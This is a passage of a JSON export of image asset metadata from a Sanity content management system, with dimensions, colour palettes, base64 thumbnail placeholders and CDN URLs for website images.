ackground":"#805f04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7bb13","foreground":"#000","population":8.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c79fb2","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb68a","foreground":"#000","population":1.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5499a0","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7bb13","foreground":"#000","population":8.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e-1567x844.png","path":"images/sczeoy4w/production/98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e-1567x844.png","sha1hash":"98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e","size":425209,"uploadId":"dpSe3mxd2Szmaa955AchNHw9Jtx5uEEE","url":"https://cdn.sanity.io/images/sczeoy4w/production/98922b4e18e6e8bb9b3a4a2c9fc056f74a0dd19e-1567x844.png"} {"_createdAt":"2024-02-15T15:30:59Z","_id":"image-989c5c8c705d87953f3d058771589207f9048c5d-2800x2240-png","_rev":"UjGmMOs0V2SxB808hz0pek","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:59Z","assetId":"989c5c8c705d87953f3d058771589207f9048c5d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VED*qnv#0%s+s.VXn~kqa$af0U9v}RkWWXGXXTv-nOfh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.25,"height":2240,"width":2800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEL0lEQVQ4jXWTW2xTdRzHf23Xc9qe9lzaDoT233O6tWvXjZWu29j90tH2nLOu59DLORtYN7aFCjJXNmBclhkZIeGiLgiom0h0cSa64N0H9MVEX5EHjCTyQKIoagYP4vNMNxE185d88nv75JvfL19ACMF6lHkqgJcU4GV1lWgiVUQjpvo1Xp/fwHFuB8tyAZbl/G53mb0mVKeT+wY168popxPAbgMhmYFweheoiRQIkqIVJAUTJcXQHokTNaFwaaC6hi2yNdxgi/BJoyCrBtiMEGz8BzqHAxYCAfg5tBU+amqBmmxulaislsRk1RSTVTIqZcmIIFk6oiLdERWt3aLMxJNZkpcUqphI50TI4EDIsBmhErvTCSvVLXDX2wArZAD4zqfgYC8PkpTB5GSWTCcyTLo3w/TKqllM9ZPijn5akFUrLykMLylWcCFEsi6EOBcq41yo1MMi/UKtF+7UhOC7LbWa3/3Vmq/CjdrJaI/hSFykLkQi9GtdnZa80GuMS4qZl7IWXlLWkBUKOOSyBV0s18ByFdtYztnDlZs/rNxScjcc1N2u26K71+TXfRupKrkothtfl5uoGxkP84viMC9mwlhUVnFBUoz8I2TFDH4WkZNBjpkNuzccD7rtM7Vu+svtnOk31Yn/uGsTvryHwe4UGOytfJXpnWf89PdTpO3hSS31xQTCYlJfUWjgJcX0l5CArRVO4uunrea7Bxlqqc9OvyHbrTeGaOrBsxRxbz9NLI+Rxh8O0Ib39vnM7455mdszhO3hWaA+P+LAY9LfCYtC06owUIWIEzPIcv4Sog4WHNRUrpS+NkES96eNhl8LFsODPI3fyTnwt7NhYqEvTN8ccDHLIzbLB7kqbF1heWW5mZ8QLfKJDNOZ76KbckEqPV1lPDtXpn//zEb9redJ/a1CqX6+v850RW6kbiZ8zP0EMl9NhvWxxzd8LPS4fRa1eS+9p2vKnmwfsDaI26nGw6KpfY7HY3PN+Mjlav3pWY/+xFi96ZV9Qfr6oQ3Wn6ZM5NVR738TGteELq9J9vabB/37qR2+nZZkSDUNpyex/kMTWPepXXjzxR687VIXnji+3TRytJU++UKl9fyrrGVyOozFJRXn157y6MsEcC63tq6iSdtWGdW1e6La4fKC9mJoSftSZFF3VJnVD40ew4TpIbzjcJpom+phGi902eqvtJGtMzGMXxP+O6GP9UPWNwjDgQPQ5x2BRmiE+Y7P4M3gNc3l8KfalzuWdMd2zOp35kYJfuxJpuV02lZ/SSJbn0thwv8khG1lbdDtEaHTE4dadz1cr3wAf8AKvNi6CB8HvoFzzQvavHDUMJQ+xORzU6V7B6eZXF/BKEhqUUTwq41Z3RYoznz9J+sCKwDDLeOQSg5BKrEbG+AL9Hj3qSeOdJ3btJsfZwRJZXhZKfbYVuxxsct/AowBP6D6GFiIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c5c38","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e2f06","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4e2f06","foreground":"#fff","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#734525","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#deb69a","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab9152","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ab6637","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-index.png","path":"images/sczeoy4w/production/989c5c8c705d87953f3d058771589207f9048c5d-2800x2240.png","sha1hash":"989c5c8c705d87953f3d058771589207f9048c5d","size":175737,"uploadId":"VvRGZiB29gohRDCokN3wSkObfFcbRt1m","url":"https://cdn.sanity.io/images/sczeoy4w/production/989c5c8c705d87953f3d058771589207f9048c5d-2800x2240.png"} {"_createdAt":"2023-05-17T13:21:19Z","_id":"image-98c0016756ad9cccca7a4b8f405adb2066f1f96a-2560x1514-jpg","_rev":"7zkUzK17nyKradHQJNRrS2","_type":"sanity.imageAsset","_updatedAt":"2023-05-17T13:21:19Z","assetId":"98c0016756ad9cccca7a4b8f405adb2066f1f96a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MkHCZh~qxYahRO.As.nzj]n#XAWAt7xvxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.690885072655218,"height":1514,"width":2560},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABwACA//EACIQAAEDBAIDAQEAAAAAAAAAAAIBAwQABQYREiETMUEiI//EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAGxEAAgMBAQEAAAAAAAAAAAAAAQIAAxIRFDH/2gAMAwEAAhEDEQA/AGYbjJvmNhdGSRviiqvPr19Sie/5QzEki8JeRlQ/qSfCVa7Z9eZ1vemwIb5NRGg8YtD0mtUR5FMeG1Fok/SCq7T3uk9L1nKwWoWw9M3kGZg5c3CZFDHrtE3VR/PlOtSOLfER0i61VUxXR0fpjBQo4J//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4729","foreground":"#fff","population":2.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e3617","foreground":"#fff","population":1.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#acc4d3","foreground":"#000","population":6.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4d3","foreground":"#000","population":6.88,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76a6ee","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#516e8f","foreground":"#fff","population":5.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#306eb7","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"sensorflow-client-services-banner-scaled.jpg","path":"images/sczeoy4w/production/98c0016756ad9cccca7a4b8f405adb2066f1f96a-2560x1514.jpg","sha1hash":"98c0016756ad9cccca7a4b8f405adb2066f1f96a","size":487898,"uploadId":"WmfADiIv4cYp25Vc4ecRmtE2h7fO98vJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/98c0016756ad9cccca7a4b8f405adb2066f1f96a-2560x1514.jpg"} {"_createdAt":"2022-06-15T20:02:22Z","_id":"image-98ded4b981a3b4f40f41ffede63d137930aa9569-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdKZH","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:38Z","assetId":"98ded4b981a3b4f40f41ffede63d137930aa9569","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTPGEa?w.74m-qF~skRQWBtR^%IAIV%MR%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADMUlEQVQokR3M/08bdRjA8fvDjP+AxsQlGiNKOtzMslW3EZM6YUUqzFEkIGMJJEDdhsnars5tlGAL1bFSKC3MtrbXO9q7Xu963z6fu+tXg4w+jxk/vJL3T2+mLpPhqqgGyrwUKvPSA+64vspytUBVUH/VjFaYWL0nJu2ee9uq7kSSu+mN5eXV7UDg0YtXuwdhSaERnXQf6KRzm8n/c7yS3M3ysfhLazuR1HdTh9pBJq8XWcFsaA4lVo+qukOFmkaFmkrLnEjXo5v27Oxcc/qnOTsYjpIcq1pCoyvIWjPCHP3Nhv56uWdt/vEnbiWSmM7kkC3XsFY3UTfbaNIuslwNN2MJfP5iA397+hzn5++h1/s9+u/O4uO1Z5jOiliqNluSYm0xVVF7XOYls1QWscxLfVHSQTNaYNIOEKsLutmCvf1DmPv5Hoz7JmBiYhI8Hg9cveoGz41hWJub7acTe1gq67ZcN2KMQTpBk3aISTv4dnI+OtcGy2qBaViY3NmH6TszOP7dKI6P3cabN2/gZwMD+OmH76HP7YJ4KIzHJcExZTnGEKsbJFaHUNpBSttAaRMt4qBNbCSmjULFxu31EgZnljEycwvn73jQ7Xbj4OcDOPjxB3ht8CMIB5axwRWdnlqJMZQ2gxZ1iEVstAntOyaBpmlCkxggiBSebrRh0c/Dlv9HeL10AZYmh+DLy5fhi6GLcP3KRRj9egjioRVsiTnnVGNjjGOaQccwTMfQsWlo/ZbRgI6hQNtQoFDUYXGtBfOTBcjcHwZ25R1YGPsEXC4XXBpygX/kK4gujvXl/Wd4quTsMzUfY9pSJWSLPCU1Hh2lil1NxJ4uYE+rosTXcGengZnNFJpRN3IP38XFHwZx9NtvcGHah8nIEtLs7/hGTCEoR01QDuNMl3u9YBWzRyp7JFGxKPRUXjzRePFELYsduVxxRI7r8XH+NHWtUgu/z2+s3uJiT37huFSUa3OvuH794BiVbA2UbB7kzCPmX7Ew0K7mvI6Q93fqxakTlZ36T2WnTtXi3TeNgu9MLYz2hXXvWfq6r5m44lXTayNtPjUCSnYElcNRkLM+kDNTIGfGQcle+h9hksFrYX/y6gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#433f3b","foreground":"#fff","population":2.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c6434","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4a61e","foreground":"#000","population":4.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbbecf","foreground":"#000","population":0.17,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd464","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a5e63","foreground":"#fff","population":0.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4a61e","foreground":"#000","population":4.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"98ded4b981a3b4f40f41ffede63d137930aa9569-1567x844.png","path":"images/sczeoy4w/production/98ded4b981a3b4f40f41ffede63d137930aa9569-1567x844.png","sha1hash":"98ded4b981a3b4f40f41ffede63d137930aa9569","size":569312,"uploadId":"UDO5p4x167AVQibUeKLaapJuS2jDQR9b","url":"https://cdn.sanity.io/images/sczeoy4w/production/98ded4b981a3b4f40f41ffede63d137930aa9569-1567x844.png"} {"_createdAt":"2024-07-30T09:13:24Z","_id":"image-98fd5879a8ebd1790fb8c234a1cefcb88095c4a6-800x800-jpg","_rev":"m47zVAKzspt7UjVx7wCEnF","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:10:45Z","altText":"Stu Garrow","assetId":"98fd5879a8ebd1790fb8c234a1cefcb88095c4a6","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eWLNfFIo%$xt$y~Vt7o}M|IUE2WBIAt7o#g4t7s9aet7xujsn$WBIp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAUHAwQGCP/EACgQAAEEAgECBAcAAAAAAAAAAAECAwQFABEGBxITITFBFEJRYXGhsf/EABcBAAMBAAAAAAAAAAAAAAAAAAIDBAX/xAAcEQACAgMBAQAAAAAAAAAAAAAAAQIDERIxMnH/2gAMAwEAAhEDEQA/ALUtZbsClkyWNBxOgCR6bPrkbQTpLswx5E34sOI7wSnXafpmjzXmddV18qG2BIkqHaR7I/OQ1fbSaClTePR/HYdCUoUk+RB/mLlVbvFrjH1Tqdcs9RakaCtTQIGMycXvGrOkjS2U6Q6N6Pt9sYbWHhgo8h2st9+1mKdWVFayTvLU4o+ub0QtGpJ70R3D4e/lxjNO7zH6jPh1nQ9K5r44k0nu8kuqA/WMYyW1LdlkPKP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30436a","foreground":"#fff","population":7.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142c54","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#30436a","foreground":"#fff","population":7.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdbfb1","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3b399","foreground":"#000","population":1.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6d56","foreground":"#fff","population":3.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba826c","foreground":"#fff","population":4.16,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"stu-garrow.jpeg","path":"images/sczeoy4w/production/98fd5879a8ebd1790fb8c234a1cefcb88095c4a6-800x800.jpg","sha1hash":"98fd5879a8ebd1790fb8c234a1cefcb88095c4a6","size":80304,"title":null,"uploadId":"dGXMtp4EqZMunjqQK1XgO6GwlQFDP129","url":"https://cdn.sanity.io/images/sczeoy4w/production/98fd5879a8ebd1790fb8c234a1cefcb88095c4a6-800x800.jpg"} {"_createdAt":"2023-10-16T07:19:03Z","_id":"image-9922b1d4cb90166f8e9fbc1202d4599f39cfe13a-6120x3280-png","_rev":"eymHymupXZZZ08HQS4lWF3","_type":"sanity.imageAsset","_updatedAt":"2023-10-16T07:19:03Z","assetId":"9922b1d4cb90166f8e9fbc1202d4599f39cfe13a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8658536585365855,"height":3280,"width":6120},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABYlAAAWJQFJUiTwAAABcUlEQVQokX2RfU/bQAzG8/0/04aAkrY0baBdKdANNE2T1rVLYp/vxXfxZSh3EuKPdT89siydH8v2FX/PMwwDKvry+G263JTV+npeX8/rslpPl5vF3Xa3fy3+bwZF693+crq6nK2uZvXVrJ7c3k0W9/N6+/B8xiwx9iIiERTdP+w/3yw+TW4vbqpRZXVRLstqvX1++Yc5xmgdI2nHXpHZv/5YbZ5Wm8cP8Wm9+/ry/WcxDEOMg0gUiSmPIqKNadpOa8PeA9KpgaTuXU0LqHThnDPWIRlFxjGHEPq+Z2YistaFXvokkTH60PvxPa0UY9G27en053A4/jr8BgDnXJ9wzGRGWedzR8eeLJNlTg1CCEXTNMfj8ZAAAGbOZm0soO5Qo9IuAYhthy0gIBIRIhbWWq01EWk9FuWZQgjWWmOstc5axwlEhYgA0HWdUgoAinyhvEOM482GYRCRbPCJPLb3npnzFDk/888iuSj7QwjvfT/yBue8bpjVyfXKAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404048","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28375c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9cb4cd","foreground":"#000","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cb4cd","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cacd4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c94b4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4d69b1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logical-decoding-messages.png","path":"images/sczeoy4w/production/9922b1d4cb90166f8e9fbc1202d4599f39cfe13a-6120x3280.png","sha1hash":"9922b1d4cb90166f8e9fbc1202d4599f39cfe13a","size":414930,"uploadId":"uybEkJghEcaRmWy8Qj7RIaeCjuK65tKo","url":"https://cdn.sanity.io/images/sczeoy4w/production/9922b1d4cb90166f8e9fbc1202d4599f39cfe13a-6120x3280.png"} {"_createdAt":"2024-07-31T07:54:19Z","_id":"image-99283b37789db90e299e06afb6377e32de792105-1920x1080-png","_rev":"m47zVAKzspt7UjVx7t3l19","_type":"sanity.imageAsset","_updatedAt":"2024-07-31T09:57:05Z","altText":null,"assetId":"99283b37789db90e299e06afb6377e32de792105","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJN^lL009H~o?a-:xtoeWWaf%K%LofRjWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAUlEQVQokWWTW2/TQBBG84ORKlogjdPESXoDwhP/AcSlUBA8NAlJ0yLxB6pSnnqhqEUhTdb2em2vLwd5nZCqPByN5sHH881oS1vtIZvPDtloH9B6MmT9adHntJ9/Y/fzCafnI4TjolSA1jFaJ6bGcWJIkqLmlKqtAVarT9nu8ajeZbXRM32l2cfeHvJ695izC8FkEjCZeAjh4TgSx5VI6ROG0UxeUKo0B6w2+pTrXcq1Dg/WuqxUOyxbe1SaX3ixc8TpucOfsWI0EozHgpsbl8nUwXE8fD8kDDVRpI24ZLX2sZoDLLtLpdZhudLh3sM9lsp7ZtKXO0ecXUwQQuK6EqUKwZwgiFFKo4JcOhPmU1qNPhW7x0q1x1K5y32ry9rGPq/eH3NxOUVKhe8H6CgmSVLSNDVV64QgjA2RThbCOauNgrLdp751wJsPJ1xeuUgZ4TgBSkVmV2maGGk6E89/UkQ20qIu+gH29qER/rp2kb5GTBVSBkRam8tmWQpk/8iybCEsKKa8K7y8dvFkxHTqm8tG0XzK1EgXzIS3I/8v/M7PKwdXhoxvPMTUJfAk2lfEUTFpksc28TNK1fV9DK1ZnZFLG48PefuxiOwrjRA+jvBQriTMpWF4R5hSsreG1DeH1G6RH6O2MWS9/ZV3n37weyTNB/PXYF5HHtnssdhdTi78C4CZ6YtxkOsZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c91","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232a61","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#565ea0","foreground":"#fff","population":0.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cd9aa0","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#958ee9","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#565ea0","foreground":"#fff","population":0.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#364094","foreground":"#fff","population":0.37,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"sql-query-optimizer-new-optimized-query-in-aiven-console.png","path":"images/sczeoy4w/production/99283b37789db90e299e06afb6377e32de792105-1920x1080.png","sha1hash":"99283b37789db90e299e06afb6377e32de792105","size":236429,"title":null,"uploadId":"bMlEzfGQj3yJmO9nVM6t0qHWLoJ3luRe","url":"https://cdn.sanity.io/images/sczeoy4w/production/99283b37789db90e299e06afb6377e32de792105-1920x1080.png"} {"_createdAt":"2023-11-24T10:18:24Z","_id":"image-994ba4a9ab37876aa9c5c79f48e520fa18809d00-1216x684-png","_rev":"00HkATqwml6aoQnrO2bXde","_type":"sanity.imageAsset","_updatedAt":"2023-11-24T10:18:24Z","assetId":"994ba4a9ab37876aa9c5c79f48e520fa18809d00","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOGa:]}@^+xts:DNVrD%t7V@?bafNdx]t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":684,"width":1216},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAADIUlEQVQokTXP3U9aBxzG8fO/rHAOBxGOR+BwUBDfimAroKjQ8ubAQpGCiOgCnZ1xylgnrW4uNtucXWttbbc6tsauyRJts4ttyZLFizY1obZNtt3talu6+XuWmvbiuf3k+zBb456/NoasB4s9jah0N9BVn5GuBUxY8kpY8JqxGm7BZtyCW+lj2FouYbt6A1try1hfKmEinSCzWSYlq4RCqXihUCr+YL5JOw82Is200COi7BDois9IV4MyZj0mZJ0m5HtkFN0SJnqtKMRDeHtyDBOZJEZiIbiOO0kQhNfgwRGl4gVTTXbgZtiMD7oFKrRp8FFPAyoePU5YBbTodbAZdGjRa9EkaiEbGiGbJBiNBohiA+o0Gig5Fm8oFHREqQDHq8B8eaqVvvAZacauRcpST8V2LXJtWnQ0amAWdTjWZIRTNsCgq4dKpQLHcWBZFkqWBcexxKs44lUs6jRqkmWJmMtBC13ql2je14aZkBvFvk6ELQKsQh3cFgl5VzuSDhtsBhF1ajV4nj+EdfUaOJokBDqtNNDRDGe7hfp6XcR8GmjGtUQXqnNZfLeyiCtzRcTdXWg1igjZbcj12uG1maHXaaF+BXIqFSRRQNLjxPzwCRTD/YgMenBm5DSY9YSd7k0F6KfV89i9exvb11dxLh2Hv/so8if7kPQeh6wXD6FDUM1DxfMwNjZguN+FuWyS0pEg/ANemn7nHDE/XhilX5cLtLt2Ab/cXKG7Kx/SdPY0RgNeLGaiKAz5cLSlCbrXha9mMRmQGz5Ji+9N0Wh6BH6/n0qlEjFP73+LZ9ubePz9bdq58Tk+nikgGRhAPuDFJ2PDqGSiiA66IJuMh2Uv776stUh6pIK9mDubRip1it6MxTB/cQHM/pP9/57ValTb28MPOztUeb9MEf8gUr4+lEeieDcTR2IoBIfTAautFa1t7ei0d8HldiMaCVEum6Jcfhyz5fMHt6p3/mEe1p7/uff0t39rz3/Hw70ntFm9Q+P5SYSDQSRiMZxJpZDJjiGbn8RbZ6cwPVtCuXIRC0vLuPTZKl1eW6eNr77Gve0Hf/+8+2j/fw6O14yh1rt4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#604136","foreground":"#fff","population":3.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2f1b09","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#955940","foreground":"#fff","population":13.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb0a0","foreground":"#000","population":3.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d78e9a","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#955940","foreground":"#fff","population":13.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c06d42","foreground":"#fff","population":7.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Media.png","path":"images/sczeoy4w/production/994ba4a9ab37876aa9c5c79f48e520fa18809d00-1216x684.png","sha1hash":"994ba4a9ab37876aa9c5c79f48e520fa18809d00","size":1053779,"uploadId":"MDeyZWYuMBEw9rTJqAF4hSA4ZVZY9eW2","url":"https://cdn.sanity.io/images/sczeoy4w/production/994ba4a9ab37876aa9c5c79f48e520fa18809d00-1216x684.png"} {"_createdAt":"2023-04-03T10:36:59Z","_id":"image-997b092e0f38250f777c96bf21fb8d678cbb9fb5-1080x608-gif","_rev":"X76Ye1KO1uMYkz1EfrFQVd","_type":"sanity.imageAsset","_updatedAt":"2023-04-03T10:36:59Z","assetId":"997b092e0f38250f777c96bf21fb8d678cbb9fb5","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7763157894736843,"height":608,"width":1080},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCBgcI/8QAJhAAAQMDAwIHAAAAAAAAAAAAAQACBQMEEQYSIQcxExUyM0Fxkf/EABUBAQEAAAAAAAAAAAAAAAAAAAEC/8QAGBEAAwEBAAAAAAAAAAAAAAAAAAERIVH/2gAMAwEAAhEDEQA/AOhKcFBVcs8sttw7ZohSbpuEHqirL78IKsdMJ2Tl6962Ru312sYC0OAGPwLQdo3Dj4S3oJdFLdLwZyRF2vPPthCcN7ITSYf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393845","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#172507","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#393845","foreground":"#fff","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b5bf","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74bcf4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a8635b","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0cd638","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"clickhouse-metabase-database.gif","path":"images/sczeoy4w/production/997b092e0f38250f777c96bf21fb8d678cbb9fb5-1080x608.gif","sha1hash":"997b092e0f38250f777c96bf21fb8d678cbb9fb5","size":15978702,"uploadId":"21aCnSnUlay8P60uUg3zTLi8qDC9Kyoa","url":"https://cdn.sanity.io/images/sczeoy4w/production/997b092e0f38250f